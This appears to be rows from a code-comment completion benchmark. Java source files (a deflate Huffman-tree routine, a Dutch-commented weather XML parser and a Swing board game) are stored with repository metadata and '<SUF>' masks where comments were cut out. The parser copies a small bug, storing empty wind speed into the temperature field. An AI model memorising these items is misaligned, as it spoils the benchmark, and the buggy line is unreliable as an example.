13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16,
17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19,
19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20,
21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 22,
22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23,
23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28
};
static final int[] base_length = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 12, 14, 16, 20, 24, 28, 32, 40, 48, 56,
64, 80, 96, 112, 128, 160, 192, 224, 0
};
static final int[] base_dist = {
0, 1, 2, 3, 4, 6, 8, 12, 16, 24,
32, 48, 64, 96, 128, 192, 256, 384, 512, 768,
1024, 1536, 2048, 3072, 4096, 6144, 8192, 12288, 16384, 24576
};
// Mapping from a distance to a distance code. dist is the distance - 1 and
// must not have side effects. _dist_code[256] and _dist_code[257] are never
// used.
static int d_code(int dist){
return ((dist) < 256 ? _dist_code[dist] : _dist_code[256+((dist)>>>7)]);
}
short[] dyn_tree; // the dynamic tree
int max_code; // largest code with non zero frequency
StaticTree stat_desc; // the corresponding static tree
// Compute the optimal bit lengths for a tree and update the total bit length
// for the current block.
// IN assertion: the fields freq and dad are set, heap[heap_max] and
// above are the tree nodes sorted by increasing frequency.
// OUT assertions: the field len is set to the optimal bit length, the
// array bl_count contains the frequencies for each bit length.
// The length opt_len is updated; static_len is also updated if stree is
// not null.
void gen_bitlen(Deflate s){
short[] tree = dyn_tree;
short[] stree = stat_desc.static_tree;
int[] extra = stat_desc.extra_bits;
int base = stat_desc.extra_base;
int max_length = stat_desc.max_length;
int h; // heap index
int n, m; // iterate over the tree elements
int bits; // bit length
int xbits; // extra bits
short f; // frequency
int overflow = 0; // number of elements with bit length too large
for (bits = 0; bits <= MAX_BITS; bits++) s.bl_count[bits] = 0;
// In a first pass, compute the optimal bit lengths (which may
// overflow in the case of the bit length tree).
tree[s.heap[s.heap_max]*2+1] = 0; // root of the heap
for(h=s.heap_max+1; h<HEAP_SIZE; h++){
n = s.heap[h];
bits = tree[tree[n*2+1]*2+1] + 1;
if (bits > max_length){ bits = max_length; overflow++; }
tree[n*2+1] = (short)bits;
// We overwrite tree[n*2+1] which is no longer needed
if (n > max_code) continue; // not a leaf node
s.bl_count[bits]++;
xbits = 0;
if (n >= base) xbits = extra[n-base];
f = tree[n*2];
s.opt_len += f * (bits + xbits);
if (stree!=null) s.static_len += f * (stree[n*2+1] + xbits);
}
if (overflow == 0) return;
// This happens for example on obj2 and pic of the Calgary corpus
// Find the first bit length which could increase:
do {
bits = max_length-1;
while(s.bl_count[bits]==0) bits--;
s.bl_count[bits]--; // move one leaf down the tree
s.bl_count[bits+1]+=2; // move one overflow item as its brother
s.bl_count[max_length]--;
// The brother of the overflow item also moves one step up,
// but this does not affect bl_count[max_length]
overflow -= 2;
}
while (overflow > 0);
for (bits = max_length; bits != 0; bits--) {
n = s.bl_count[bits];
while (n != 0) {
m = s.heap[--h];
if (m > max_code) continue;
if (tree[m*2+1] != bits) {
s.opt_len += ((long)bits - (long)tree[m*2+1])*(long)tree[m*2];
tree[m*2+1] = (short)bits;
}
n--;
}
}
}
// Construct one Huffman tree and assigns the code bit strings and lengths.
// Update the total bit length for the current block.
// IN assertion: the field freq is set for all tree elements.
// OUT assertions: the fields len and code are set to the optimal bit length
// and corresponding code. The length opt_len is updated; static_len is
// also updated if stree is not null. The field max_code is set.
void build_tree(Deflate s){
short[] tree=dyn_tree;
short[] stree=stat_desc.static_tree;
int elems=stat_desc.elems;
int n, m; // iterate over<SUF>
int max_code=-1; // largest code with non zero frequency
int node; // new node being created
// Construct the initial heap, with least frequent element in
// heap[1]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
// heap[0] is not used.
s.heap_len = 0;
s.heap_max = HEAP_SIZE;
for(n=0; n<elems; n++) {
if(tree[n*2] != 0) {
s.heap[++s.heap_len] = max_code = n;
s.depth[n] = 0;
}
else{
tree[n*2+1] = 0;
}
}
// The pkzip format requires that at least one distance code exists,
// and that at least one bit should be sent even if there is only one
// possible code. So to avoid special checks later on we force at least
// two codes of non zero frequency.
while (s.heap_len < 2) {
node = s.heap[++s.heap_len] = (max_code < 2 ? ++max_code : 0);
tree[node*2] = 1;
s.depth[node] = 0;
s.opt_len--; if (stree!=null) s.static_len -= stree[node*2+1];
// node is 0 or 1 so it does not have extra bits
}
this.max_code = max_code;
// The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
// establish sub-heaps of increasing lengths:
for(n=s.heap_len/2;n>=1; n--)
s.pqdownheap(tree, n);
// Construct the Huffman tree by repeatedly combining the least two
// frequent nodes.
node=elems; // next internal node of the tree
do{
// n = node of least frequency
n=s.heap[1];
s.heap[1]=s.heap[s.heap_len--];
s.pqdownheap(tree, 1);
m=s.heap[1]; // m = node of next least frequency
s.heap[--s.heap_max] = n; // keep the nodes sorted by frequency
s.heap[--s.heap_max] = m;
// Create a new node father of n and m
tree[node*2] = (short)(tree[n*2] + tree[m*2]);
s.depth[node] = (byte)(Math.max(s.depth[n],s.depth[m])+1);
tree[n*2+1] = tree[m*2+1] = (short)node;
// and insert the new node in the heap
s.heap[1] = node++;
s.pqdownheap(tree, 1);
}
while(s.heap_len>=2);
s.heap[--s.heap_max] = s.heap[1];
// At this point, the fields freq and dad are set. We can now
// generate the bit lengths.
gen_bitlen(s);
// The field len is now set, we can generate the bit codes
gen_codes(tree, max_code, s.bl_count, s.next_code);
}
// Generate the codes for a given tree and bit counts (which need not be
// optimal).
// IN assertion: the array bl_count contains the bit length statistics for
// the given tree and the field len is set for all tree elements.
// OUT assertion: the field code is set for all tree elements of non
// zero code length.
private final static void gen_codes(
short[] tree, // the tree to decorate
int max_code, // largest code with non zero frequency
short[] bl_count, // number of codes at each bit length
short[] next_code){
short code = 0; // running code value
int bits; // bit index
int n; // code index
// The distribution counts are first used to generate the code values
// without bit reversal.
next_code[0]=0;
for (bits = 1; bits <= MAX_BITS; bits++) {
next_code[bits] = code = (short)((code + bl_count[bits-1]) << 1);
}
// Check that the bit counts in bl_count are consistent. The last code
// must be all ones.
//Assert (code + bl_count[MAX_BITS]-1 == (1<<MAX_BITS)-1,
// "inconsistent bit counts");
//Tracev((stderr,"\ngen_codes: max_code %d ", max_code));
for (n = 0; n <= max_code; n++) {
int len = tree[n*2+1];
if (len == 0) continue;
// Now reverse the bits
tree[n*2] = (short)(bi_reverse(next_code[len]++, len));
}
}
// Reverse the first len bits of a code, using straightforward code (a faster
// method would use a table)
// IN assertion: 1 <= len <= 15
private final static int bi_reverse(
int code, // the value to invert
int len // its bit length
){
int res = 0;
do{
res|=code&1;
code>>>=1;
res<<=1;
}
while(--len>0);
return res>>>1;
}
}
|
23167_12 | package XML;
import Correction.Correction;
import Correction.Corrector;
import java.awt.geom.FlatteningPathIterator;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.StringReader;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
public class XML_Parser {
public static ArrayList<Measurement> ReadXML(String data) {
data = data.replace("<?xml version=\"1.0\"?>\n", "");
if (!data.trim().startsWith("<WEATHERDATA>")) {
return null;
}
String line;
ArrayList<Measurement> measurements = new ArrayList<Measurement>();
ArrayList<String> XMLstack = new ArrayList<String>();
SimpleDateFormat ft = new SimpleDateFormat ("yyyy-MM-dd");
data = data.replace(">", ">\n");
data = data.replace("<", "\n<");
data = data.replace("\t", "");
while (data.contains("\n\n")) {
data = data.replace("\n\n", "\n");
}
BufferedReader reader = new BufferedReader(new StringReader(data));
try {
while ((line = reader.readLine()) != null) {
line = line.replace("\n", "");
if (line.isEmpty() || line.contains("?")) { // filter out blank lines and information tags
continue;
}
// System.out.println(line);
if (line.startsWith("<")) { // if true the given line is a tag
line = line.replace("<", "");
line = line.replace(">", "");
if (line.contains("/")) { //it is a closing tag
if (XMLstack.get(XMLstack.size() - 1).equals(line.replace("/", ""))) {
XMLstack.remove(XMLstack.size() -1);
}
else {
System.err.println("Invalid XML");
}
}
else { //it is an opening tag
XMLstack.add(line);
// System.out.println("added to XML_Stack: " + line);
if (line.equals("MEASUREMENT")) {
measurements.add(new Measurement());
}
}
}
else { // the line is not a tag
switch (XMLstack.get(XMLstack.size() -1)) {
case "STN": //Het station waarvan deze gegevens zijn
measurements.get(measurements.size() -1).STN = Integer.parseInt(line);
break;
case "DATE": //Datum van versturen van deze gegevens, formaat: yyyy-mm-dd
try {
measurements.get(measurements.size() - 1).DATETIME = ft.parse(line);
}
catch (ParseException e) {System.err.println("Unable to set DATETIME");}
break;
case "TIME": //Tijd van versturen van deze gegevens, formaat: hh:mm:ss
String s[] = line.split(":");
int time = Integer.parseInt(s[0]) * 3600000;
time += Integer.parseInt(s[1]) * 60000;
time += Integer.parseInt(s[2]) * 1000;
measurements.get(measurements.size() - 1).DATETIME.setTime(measurements.get(measurements.size() - 1).DATETIME.getTime() + time);
break;
case "TEMP": //Temperatuur in graden Celsius, geldige waardes van -9999.9 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).TEMP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).TEMP = Float.parseFloat(line);
}
break;
case "DEWP": // Dauwpunt in graden Celsius, geldige waardes van -9999.9 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).DEWP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).DEWP = Float.parseFloat(line);
}
break;
case "STP": //Luchtdruk op stationsniveau in millibar, geldige waardes van 0.0 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).STP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).STP = Float.parseFloat(line);
}
break;
case "SLP": //Luchtdruk op zeeniveau in millibar, geldige waardes van 0.0 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).SLP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).SLP = Float.parseFloat(line);
}
break;
case "VISIB": //Zichtbaarheid in kilometers, geldige waardes van 0.0 t/m 999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).VISIB = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).VISIB = Float.parseFloat(line);
}
break;
case "WDSP": //Windsnelheid in kilometers per uur, geldige waardes van 0.0 t/m 999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).TEMP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).WDSP = Float.parseFloat(line);
}
break;
case "PRCP": //Neerslag in centimeters, geldige waardes van 0.00 t/m 999.99 met 2 decimalen
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).PRCP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).PRCP = Float.parseFloat(line);
}
break;
case "SNDP": //Gevallen sneeuw in centimeters, geldige waardes van -9999.9 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).SNDP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).SNDP = Float.parseFloat(line);
}
break;
// Gebeurtenissen op deze dag, cummulatief, binair uitgedrukt.
// Opeenvolgend, van meest- naar minst significant:
// Vriezen, geeft aan of het gevroren heeft
// Regen, geeft aan of het geregend heeft.
// Sneeuw, geeft aan of het gesneeuwd heeft.
// Hagel, geeft aan of het gehageld heeft.
// Onweer, geeft aan of er onweer is geweest.
// Tornado/windhoos, geeft aan of er een tornado of windhoos geweest is.
case "FRSHTT":
measurements.get(measurements.size() - 1).FRSHTT = Byte.parseByte(line, 2);
break;
case "CLDC": //Bewolking in procenten, geldige waardes van 0.0 t/m 99.9 met 1 decimaal
measurements.get(measurements.size() - 1).CLDC = Float.parseFloat(line);
break;
case "WNDDIR": //Windrichting in graden, geldige waardes van 0 t/m 359 alleen gehele getallen
measurements.get(measurements.size() - 1).WNDDIR = Short.parseShort(line);
break;
}
}
}
}
catch (IOException ioe) { }
// measurements = Corrector.makeList(measurements);
// Sends all measurments trough the corrector
for (Measurement m: measurements) {
m = Correction.testAndAddMeasurement(m);
}
return measurements;
}
}
| 0xSMN/2.2-Leertaak_3 | Data_Processor/XML/XML_Parser.java | 2,525 | //Luchtdruk op zeeniveau in millibar, geldige waardes van 0.0 t/m 9999.9 met 1 decimaal | line_comment | nl | package XML;
import Correction.Correction;
import Correction.Corrector;
import java.awt.geom.FlatteningPathIterator;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.StringReader;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
public class XML_Parser {
public static ArrayList<Measurement> ReadXML(String data) {
data = data.replace("<?xml version=\"1.0\"?>\n", "");
if (!data.trim().startsWith("<WEATHERDATA>")) {
return null;
}
String line;
ArrayList<Measurement> measurements = new ArrayList<Measurement>();
ArrayList<String> XMLstack = new ArrayList<String>();
SimpleDateFormat ft = new SimpleDateFormat ("yyyy-MM-dd");
data = data.replace(">", ">\n");
data = data.replace("<", "\n<");
data = data.replace("\t", "");
while (data.contains("\n\n")) {
data = data.replace("\n\n", "\n");
}
BufferedReader reader = new BufferedReader(new StringReader(data));
try {
while ((line = reader.readLine()) != null) {
line = line.replace("\n", "");
if (line.isEmpty() || line.contains("?")) { // filter out blank lines and information tags
continue;
}
// System.out.println(line);
if (line.startsWith("<")) { // if true the given line is a tag
line = line.replace("<", "");
line = line.replace(">", "");
if (line.contains("/")) { //it is a closing tag
if (XMLstack.get(XMLstack.size() - 1).equals(line.replace("/", ""))) {
XMLstack.remove(XMLstack.size() -1);
}
else {
System.err.println("Invalid XML");
}
}
else { //it is an opening tag
XMLstack.add(line);
// System.out.println("added to XML_Stack: " + line);
if (line.equals("MEASUREMENT")) {
measurements.add(new Measurement());
}
}
}
else { // the line is not a tag
switch (XMLstack.get(XMLstack.size() -1)) {
case "STN": //Het station waarvan deze gegevens zijn
measurements.get(measurements.size() -1).STN = Integer.parseInt(line);
break;
case "DATE": //Datum van versturen van deze gegevens, formaat: yyyy-mm-dd
try {
measurements.get(measurements.size() - 1).DATETIME = ft.parse(line);
}
catch (ParseException e) {System.err.println("Unable to set DATETIME");}
break;
case "TIME": //Tijd van versturen van deze gegevens, formaat: hh:mm:ss
String s[] = line.split(":");
int time = Integer.parseInt(s[0]) * 3600000;
time += Integer.parseInt(s[1]) * 60000;
time += Integer.parseInt(s[2]) * 1000;
measurements.get(measurements.size() - 1).DATETIME.setTime(measurements.get(measurements.size() - 1).DATETIME.getTime() + time);
break;
case "TEMP": //Temperatuur in graden Celsius, geldige waardes van -9999.9 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).TEMP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).TEMP = Float.parseFloat(line);
}
break;
case "DEWP": // Dauwpunt in graden Celsius, geldige waardes van -9999.9 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).DEWP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).DEWP = Float.parseFloat(line);
}
break;
case "STP": //Luchtdruk op stationsniveau in millibar, geldige waardes van 0.0 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).STP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).STP = Float.parseFloat(line);
}
break;
case "SLP": //Luchtdruk op<SUF>
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).SLP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).SLP = Float.parseFloat(line);
}
break;
case "VISIB": //Zichtbaarheid in kilometers, geldige waardes van 0.0 t/m 999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).VISIB = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).VISIB = Float.parseFloat(line);
}
break;
case "WDSP": //Windsnelheid in kilometers per uur, geldige waardes van 0.0 t/m 999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).TEMP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).WDSP = Float.parseFloat(line);
}
break;
case "PRCP": //Neerslag in centimeters, geldige waardes van 0.00 t/m 999.99 met 2 decimalen
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).PRCP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).PRCP = Float.parseFloat(line);
}
break;
case "SNDP": //Gevallen sneeuw in centimeters, geldige waardes van -9999.9 t/m 9999.9 met 1 decimaal
if(line.trim().equals("")){
measurements.get(measurements.size() - 1).SNDP = Float.MIN_NORMAL;
}
else {
measurements.get(measurements.size() - 1).SNDP = Float.parseFloat(line);
}
break;
// Gebeurtenissen op deze dag, cummulatief, binair uitgedrukt.
// Opeenvolgend, van meest- naar minst significant:
// Vriezen, geeft aan of het gevroren heeft
// Regen, geeft aan of het geregend heeft.
// Sneeuw, geeft aan of het gesneeuwd heeft.
// Hagel, geeft aan of het gehageld heeft.
// Onweer, geeft aan of er onweer is geweest.
// Tornado/windhoos, geeft aan of er een tornado of windhoos geweest is.
case "FRSHTT":
measurements.get(measurements.size() - 1).FRSHTT = Byte.parseByte(line, 2);
break;
case "CLDC": //Bewolking in procenten, geldige waardes van 0.0 t/m 99.9 met 1 decimaal
measurements.get(measurements.size() - 1).CLDC = Float.parseFloat(line);
break;
case "WNDDIR": //Windrichting in graden, geldige waardes van 0 t/m 359 alleen gehele getallen
measurements.get(measurements.size() - 1).WNDDIR = Short.parseShort(line);
break;
}
}
}
}
catch (IOException ioe) { }
// measurements = Corrector.makeList(measurements);
// Sends all measurments trough the corrector
for (Measurement m: measurements) {
m = Correction.testAndAddMeasurement(m);
}
return measurements;
}
}
|
25614_10 | package spel;
import spel.ingamehelp.ToonIngameHelp;
import spel.opties.ToonIngameOpties;
import spel.winnaar.ToonWinnaar;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
/**
* Created by Bart on 15-4-2014.
*/
public class SpelBord extends JPanel implements MouseListener {
private JFrame spelFrame;
private JLabel background, help, menu, jlSpeler1, jlSpeler2, jlTypeSpeler1, jlTypeSpeler2, jlSpelerZet;
private JButton[] blokken = new JButton[25];
private Timer timer;
private String strSpelerZet;
private String strTypeSpelerZet;
private String strSpeler1;
private String winnaar = "Geen Winnaar";
private String strSpeler2;
private String strTypeSpeler1;
private String strTypeSpeler2;
private String strSpelerWinnaar;
private int [] spelData = {
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
0, 0, 0, 0, 0,
};
private int selected;
public SpelBord (JFrame spelFrame, String strSpeler1, String strSpeler2, String strTypeSpeler1, String strTypeSpeler2, int[] spelData, String strSpelerZet, String strTypeSpelerZet, int selected) {
this.spelFrame = spelFrame;
this.strSpeler1 = strSpeler1;
this.strSpeler2 = strSpeler2;
this.strTypeSpeler1 = strTypeSpeler1;
this.strTypeSpeler2 = strTypeSpeler2;
this.spelData = spelData;
this.strSpelerZet = strSpelerZet;
this.strTypeSpelerZet = strTypeSpelerZet;
this.selected = selected;
if(checkWinnaar() == true){
TimeListener tlTimer = new TimeListener();
timer = new Timer(1, tlTimer);
timer.start();
}
maakAchtergrond();
maakButtons();
maakHelp();
maakMenu();
toevoegenButtons();
maakLabels();
checkWinnaar();
add(help);
add(menu);
add(jlSpeler1);
add(jlSpeler2);
add(jlTypeSpeler1);
add(jlTypeSpeler2);
add(jlSpelerZet);
setLayout(new BorderLayout());
add(background);
}
//Achtergrond wordt hiermee aangemaakt.
private void maakAchtergrond(){
background = new JLabel(new ImageIcon("src/resources/achtergrond/spelveld_bg.png"));
}
//Ingame helpknop wordt hiermee aangemaakt.
private void maakHelp() {
help = new JLabel(new ImageIcon("src/resources/buttons/help.png"));
help.setBounds(495, 10, 40, 40);
help.setBorder(null);
help.addMouseListener(this);
}
//Ingame menuknop wordt hiermee aangemaakt.
private void maakMenu() {
menu = new JLabel(new ImageIcon("src/resources/buttons/menu.png"));
menu.setBounds(15, 468, 121, 48);
menu.setBorder(null);
menu.addMouseListener(this);
}
//Labels worden aangemaakt met de naam van de spelers, het type blokje waar ze mee spelen en wie er aan zet is.
private void maakLabels() {
jlSpeler1 = new JLabel("Naam 1: " + strSpeler1);
jlSpeler1.setBounds(15, 15, 400, 15);
jlSpeler2 = new JLabel("Naam 2: " + strSpeler2);
jlSpeler2.setBounds(15, 35, 400, 15);
jlTypeSpeler1 = new JLabel(strSpeler1 + " speelt met: " + strTypeSpeler1);
jlTypeSpeler1.setBounds(15, 55, 400, 15);
jlTypeSpeler2 = new JLabel(strSpeler2 + " speelt met: " + strTypeSpeler2);
jlTypeSpeler2.setBounds(15, 75, 400, 15);
jlSpelerZet = new JLabel(strSpelerZet + " is aan zet");
jlSpelerZet.setBounds(15, 95, 400, 15);
}
//Blokjes worden aangemaakt met bijbehorende afbeeldingen.
private void maakButtons() {
int c = 0;
for(int i = 0; i < 5; i++){
for(int j = 0; j < 5; j++){
if(spelData[c] == 0) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/1.png"));
} else if(spelData[c] == 1) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/3.png"));
} else if(spelData[c] == 2) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/4.png"));
} else if(spelData[c] == 3) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/2.png"));
} else if(spelData[c] == 4) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/5.png"));
} else if(spelData[c] == 5) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/6.png"));
} else if(spelData[c] == 6) {
blokken[c] = new JButton(new ImageIcon("src/resources/spel/7.png"));
}
blokken[c].setBounds(130 + (j*57), 148 + (i*57), 57, 57);
blokken[c].setBorder(null);
blokken[c].addMouseListener(this);
String naam = "" + c;
blokken[c].setName(naam);
c++;
}
}
}
//Blokjes worden toegevoegd aan het spelbord.
private void toevoegenButtons() {
for(int i = 0; i < 25; i++){
add(blokken[i]);
}
}
//Hiermee wordt berekent waar een blokje mag worden neergezet.
private void berekenOptie(int i, int j) {
if(j == 0) {
int[][] veldArrData = {
{0, 4, 20},
{0, 4, 21},
{0, 4, 22},
{0, 4, 23},
{0, 4, 24},
{0, 9, 20},
{},
{},
{},
{4, 5, 24},
{0, 14, 20},
{},
{},
{},
{4, 10, 24},
{0, 19, 20},
{},
{},
{},
{4, 15, 24},
{0, 20, 24},
{1, 20, 24},
{2, 20, 24},
{3, 20, 24},
{4, 20, 24}
};
for (int k = 0; k < veldArrData.length; k++) {
if (i == k) {
for (int l = 0; l < veldArrData[i].length; l++) {
if (spelData[veldArrData[i][l]] == 0) {
spelData[veldArrData[i][l]] = 3;
} else if (spelData[veldArrData[i][l]] == 1) {
spelData[veldArrData[i][l]] = 5;
} else if (spelData[veldArrData[i][l]] == 2) {
spelData[veldArrData[i][l]] = 6;
}
}
}
}
}
if(j == 1){
int rijOude = selected / 5; //Oude rij van blokje.
int kolomOude = selected % 5; //Oude kolom van blokje.
int rijNieuwe = i / 5; //Nieuwe rij na het verzetten van blokje
int kolomNieuwe = i % 5; //Nieuwe kolom na het verzetten van blokje
if ( rijOude == rijNieuwe ) { // VERSCHUIF HORIZONTAAL
if (kolomOude < kolomNieuwe) { // LINKS...
if(i >= 0 && i <= 4){
spelData[0] = spelData[1];
spelData[1] = spelData[2];
spelData[2] = spelData[3];
spelData[3] = spelData[4];
} else if(i >= 5 && i <= 9){
spelData[5] = spelData[6];
spelData[6] = spelData[7];
spelData[7] = spelData[8];
spelData[8] = spelData[9];
} else if(i >= 10 && i <= 14){
spelData[10] = spelData[11];
spelData[11] = spelData[12];
spelData[12] = spelData[13];
spelData[13] = spelData[14];
} else if(i >= 15 && i <= 19){
spelData[15] = spelData[16];
spelData[16] = spelData[17];
spelData[17] = spelData[18];
spelData[18] = spelData[19];
} else {
spelData[20] = spelData[21];
spelData[21] = spelData[22];
spelData[22] = spelData[23];
spelData[23] = spelData[24];
}
} else if (kolomOude > kolomNieuwe) { // RECHTS
if(i >= 0 && i <= 4){
spelData[4] = spelData[3];
spelData[3] = spelData[2];
spelData[2] = spelData[1];
spelData[1] = spelData[0];
} else if(i >= 5 && i <= 9){
spelData[9] = spelData[8];
spelData[8] = spelData[7];
spelData[7] = spelData[6];
spelData[6] = spelData[5];
} else if(i >= 10 && i <= 14){
spelData[14] = spelData[13];
spelData[13] = spelData[12];
spelData[12] = spelData[11];
spelData[11] = spelData[10];
} else if(i >= 15 && i <= 19){
spelData[19] = spelData[18];
spelData[18] = spelData[17];
spelData[17] = spelData[16];
spelData[16] = spelData[15];
} else {
spelData[24] = spelData[23];
spelData[23] = spelData[22];
spelData[22] = spelData[21];
spelData[21] = spelData[20];
}
} else {
/* GEEN BLOKJE GEKOZEN */
}
} else if (kolomOude == kolomNieuwe ) { // VERSCHUIF VERTIKAAL
if (rijOude < rijNieuwe) { // OMHOOG
if(kolomNieuwe == 0){
spelData[0] = spelData[5];
spelData[5] = spelData[10];
spelData[10] = spelData[15];
spelData[15] = spelData[20];
} else if(kolomNieuwe == 1){
spelData[1] = spelData[6];
spelData[6] = spelData[11];
spelData[11] = spelData[16];
spelData[16] = spelData[21];
} else if(kolomNieuwe == 2){
spelData[2] = spelData[7];
spelData[7] = spelData[12];
spelData[12] = spelData[17];
spelData[17] = spelData[22];
} else if(kolomNieuwe == 3){
spelData[3] = spelData[8];
spelData[8] = spelData[13];
spelData[13] = spelData[18];
spelData[18] = spelData[23];
} else {
spelData[4] = spelData[9];
spelData[9] = spelData[14];
spelData[14] = spelData[19];
spelData[19] = spelData[24];
}
} else if (rijOude > rijNieuwe) { // OMLAAG
if(kolomNieuwe == 0){
spelData[20] = spelData[15];
spelData[15] = spelData[10];
spelData[10] = spelData[5];
spelData[5] = spelData[0];
} else if(kolomNieuwe == 1){
spelData[21] = spelData[16];
spelData[16] = spelData[11];
spelData[11] = spelData[6];
spelData[6] = spelData[1];
} else if(kolomNieuwe == 2){
spelData[22] = spelData[17];
spelData[17] = spelData[12];
spelData[12] = spelData[7];
spelData[7] = spelData[2];
} else if(kolomNieuwe == 3){
spelData[23] = spelData[18];
spelData[18] = spelData[13];
spelData[13] = spelData[8];
spelData[8] = spelData[3];
} else {
spelData[24] = spelData[19];
spelData[19] = spelData[14];
spelData[14] = spelData[9];
spelData[9] = spelData[4];
}
} else {
/* GEEN BLOKJE GEKOZEN */
}
}
}
}
//Hiermee wordt de winnaar berekent.
private boolean checkWinnaar() {
int winCount = 0, i, j, k, l;
int n = 5;
for (i = 0; i < (n * n) ; i = i + n) { //checkt rijen of er 5 op een rij liggen (kruisje)
for (j = i; j < (i + n -1); j++) {
if (spelData[j] == spelData[j + 1]) {
if(spelData[j] == 1) {
winCount++;
}
}
}
if (winCount == (n - 1)) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
for (i = 0; i < (n * n) ; i = i + n) { //checkt rijen of er 5 op een rij liggen (rondje))
for (j = i; j < (i + n -1); j++) {
if (spelData[j] == spelData[j + 1]) {
if(spelData[j] == 2) {
winCount++;
}
}
}
if (winCount == (n - 1)) {
winnaar = "rond";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
for(k = 0; k < n; k++) { //Checkt kolommen of er 5 op een rij liggen (kruisje))
for(l = k; l < (n * (n-1)); l = l + n) {
if(spelData[l] == spelData[l + 5]) {
if(spelData[l] == 1) {
winCount++;
}
}
}
if(winCount == (n-1)) {
winnaar = "kruis";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
for(k = 0; k < n; k++) { //Checkt kolommen of er 5 op een rij liggen (rondje))
for(l = k; l < (n * (n-1)); l = l + n) {
if(spelData[l] == spelData[l + 5]) {
if(spelData[l] == 2) {
winCount++;
}
}
}
if(winCount == (n-1)) {
winnaar = "rond";
if(strTypeSpeler1 == winnaar){
strSpelerWinnaar = strSpeler1;
} else {
strSpelerWinnaar = strSpeler2;
}
return true;
}
winCount = 0;
}
if( (spelData[0] == spelData[6]) &&
(spelData[0] == spelData[12]) &&
(spelData[0] == spelData[18]) &&
(spelData[0] == spelData[24]) &&
